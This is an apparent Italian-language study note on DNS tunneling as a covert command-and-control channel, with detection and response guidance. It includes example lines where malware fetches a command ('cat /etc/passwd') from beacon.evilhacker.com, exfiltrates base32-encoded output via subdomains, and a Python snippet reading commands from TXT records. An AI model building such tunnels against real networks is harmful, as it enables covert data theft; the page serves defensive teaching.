↓ Skip to main content
u-random
u-random
  1. Concetti/

DNS Tunneling

·6 mins
intermedio
Network-Defense Dfir Threat-Intel
Alessio Barnini
Author
Alessio Barnini
Table of Contents
DNS Tunneling

Cosa fa
#

Il DNS tunneling trasforma il protocollo DNS -- pensato per risolvere nomi in indirizzi IP -- in un canale di comunicazione nascosto. I dati viaggiano codificati nelle query DNS, il firewall vede solo traffico DNS apparentemente normale su UDP 53.

Trasforma il protocollo DNS in un canale bidirezionale C2 -- i comandi viaggiano nei record TXT della risposta, i dati esfiltrati viaggiano codificati nei sottodomini della query.

TL;DR
#

Il firewall vede solo traffico DNS su UDP 53. La vittima non apre mai una connessione TCP diretta verso il C2.

  1. Il malware invia una query DNS di tipo TXT verso beacon.evil.com -- l'attaccante risponde con il comando da eseguire nel campo TXT.
  2. La vittima esegue il comando localmente e codifica il risultato in base32.
  3. Il risultato viene trasmesso come sottodominio della query: cm9vdDp4.evil.com.
  4. L'attaccante decodifica il sottodominio ricevuto dal suo authoritative nameserver.
  5. Il recursive resolver dell'ISP fa da intermediario senza saperlo.

Perche' e' nato
#

I firewall bloccano connessioni TCP dirette verso IP sospetti. HTTP e HTTPS verso domini sconosciuti vengono ispezionati o bloccati. Ma il DNS e' diverso: senza di esso la rete smette di funzionare. UDP 53 e' quasi sempre aperto e raramente ispezionato in profondita'. Il DNS tunneling sfrutta questa fiducia implicita.

Infrastruttura dell'attaccante
#

Per far funzionare il tunnel servono tre elementi. Un dominio economico (es. evilhacker.com, ~5$/anno su Namecheap). Un VPS -- qualsiasi provider come Hetzner. I record NS del dominio puntati al VPS.

Da quel momento il VPS e' l'authoritative nameserver per *.evilhacker.com. Ogni query DNS verso qualsiasi sottodominio di evilhacker.com arriva direttamente all'attaccante -- attraverso il recursive resolver dell'ISP della vittima, che fa il lavoro sporco inconsapevolmente.

Flusso completo dell'attacco
#

sequenceDiagram
    participant V as Vittima (malware)
    participant R as Recursive Resolver
    participant A as Attaccante (authoritative)

    Note over V: Installato via phishing

    V->>R: query TXT beacon.evilhacker.com
    R->>A: query TXT beacon.evilhacker.com
    A->>R: risposta TXT "cat /etc/passwd"
    R->>V: risposta TXT "cat /etc/passwd"

    Note over V: esegue il comando localmente

    V->>R: query cm9vdDp4OjA6MC4uLg.evilhacker.com
    R->>A: query cm9vdDp4OjA6MC4uLg.evilhacker.com
    Note over A: decodifica sottodominio = /etc/passwd
    A->>R: risposta A 1.2.3.4 (dummy)
    R->>V: risposta A 1.2.3.4 (ignorata)

Lettura diagramma: Ciclo completo del DNS tunneling C2. Fase 1 (ricezione comando): il malware fa una query TXT su beacon.evilhacker.com. La query passa per il recursive resolver e arriva all'attaccante che risponde con il comando da eseguire in chiaro nel campo TXT. Fase 2 (esfiltrazione): il malware codifica il risultato del comando in base32 come sottodominio della query. L'attaccante decodifica il sottodominio e ottiene il dato. Tutta la comunicazione sembra traffico DNS legittimo.

Encoding -- perche' base32
#

I sottodomini DNS accettano solo a-z, 0-9, -. Il base64 standard usa anche + e /, che non sono validi. Si usa base32 o un base64 modificato che sostituisce i caratteri problematici.

STRUTTURA QUERY DI EXFILTRATION:

  cm9vdDp4OjA6MC4uLg  .  evilhacker  .  com
  |_________________|    |_________|     |__|
         |                    |            |
  dati in base32         dominio C2       TLD
  (output comando)    (va all'attaccante)

Esempio reale:
  echo "root:x:0:0:root:/root:/bin/bash" | base32
  → OJXW65B2OJXW65B2NFXGOLQ=
  → ojxw65b2ojxw65b2nfxgolq.evilhacker.com
Note

Base32 espande i dati del 60% rispetto all'originale. Non comprime -- rende i dati DNS-safe. Blocchi grandi vengono spezzati in query multiple.

Come il malware legge il record TXT
#

Il malware usa una libreria DNS standard -- lo stesso meccanismo di dig o nslookup. Non c'e' nulla di speciale: fa una query di tipo TXT e legge il campo stringa della risposta.

import dns.resolver

risposta = dns.resolver.resolve("beacon.evilhacker.com", "TXT")
comando = risposta[0].strings[0].decode()
# comando = "cat /etc/passwd"

IoC -- rilevamento Blue Team
#

IndicatoreSoglia sospettaPerche'
Lunghezza sottodominio> 50 caratterinomi legittimi sono brevi
Entropia del nomealta (caratteri casuali)base32/64 non forma parole
Volume query stesso dominiodecine/minutobeaconing periodico
Record TXT insoliticontenuto lungo o binariocomando nascosto
Pattern temporaleintervalli regolariheartbeat C2
# sottodomini lunghi in un dfir
tshark -r capture.dfir -Y "dns.qry.name" -T fields -e dns.qry.name \
  | awk 'length($0) > 50'

# volume per dominio base
tshark -r capture.dfir -Y "dns" -T fields -e dns.qry.name \
  | grep -oP '[^.]+\.[^.]+$' | sort | uniq -c | sort -rn | head

Difesa e rilevamento attivo
#

Il DNS tunneling si rileva analizzando i pattern anomali nelle query, non bloccando il protocollo DNS in se' (che romperebbe la rete).

Strumenti pratici per il rilevamento:

  • Soglia lunghezza sottodominio > 50 caratteri: nomi DNS legittimi raramente superano i 20-30 caratteri. Un sottodominio di 60+ caratteri casuali e' quasi certamente encoding di dati.
  • Alta frequenza di query per lo stesso dominio base: il beaconing periodico produce decine di query al minuto tutte verso *.attacker.com.
  • Record TXT con dati encoded: TXT record che contengono stringhe base64 o base32 invece di testo leggibile.
  • dnscat2 e' il tool piu' usato in lab e CTF per DNS tunneling; iodine crea un'interfaccia di rete virtuale completa.

Un DNS sinkhole (es. Pi-hole, Cisco Umbrella) blocca il tunneling rispondendo con NXDOMAIN o un IP falso per i domini C2 noti, impedendo al malware di contattare il suo authoritative server.

MITRE ATT&CK
#

T1071.004 -- Application Layer Protocol: DNS Tattica: Command and Control

Tool
#

  • dnscat2 -- tunneling C2 via DNS, funziona anche senza dominio reale (modalita' diretta)
  • iodine -- tunneling IP-over-DNS, crea una interfaccia di rete virtuale

Lab previsto giovedi' 30/04 con Kali (attaccante) + Ubuntu (vittima) su rete locale.

Scenario Reale
#

Wazuh genera un alert: volume anomalo di query DNS verso randomstring.somedomain.com. Il pattern e' regolare ogni 60 secondi. I sottodomini cambiano ad ogni query ma il dominio base e' sempre lo stesso.

# sul host sospetto, verifica quale processo fa le query DNS
sudo tcpdump -i any port 53 -n

# identifica il processo con connessioni attive
ss -tulnp | grep -i dns
lsof -i UDP:53

Se confermato: isola l'host, analisi memoria per estrarre il malware, blocca il dominio C2 a livello firewall/DNS sinkholing.

Dev parallel: In un'app Node.js o PHP, le chiamate DNS avvengono automaticamente per ogni dominio esterno contattato (API, CDN, servizi third-party). Un malware installato su un server compromesso potrebbe usare DNS tunneling per esfiltrare dati passando completamente inosservato, perche' il WAF ispeziona HTTP/HTTPS, non il traffico DNS. La detection richiede visibilita' a livello DNS -- log delle query sul server DNS interno o uno strumento come Zeek/Wazuh che analizza il traffico di rete e rileva le anomalie nei pattern (subdomain troppo lunghi, alta frequenza, TXT records con dati encoded).

Collegato a
#

  • dns-records -- NS record, TXT record, authoritative server
  • dns-resolution-flow -- catena recursive resolver → authoritative
  • tshark -- rilevamento pattern anomali nel dfir
  • wazuh-architecture -- alert su volume DNS anomalo
  • reverse-shell -- altro vettore C2, confronto con DNS tunneling
  • glossario-cyber -- definizioni: C2, beaconing, vettore di attacco

Related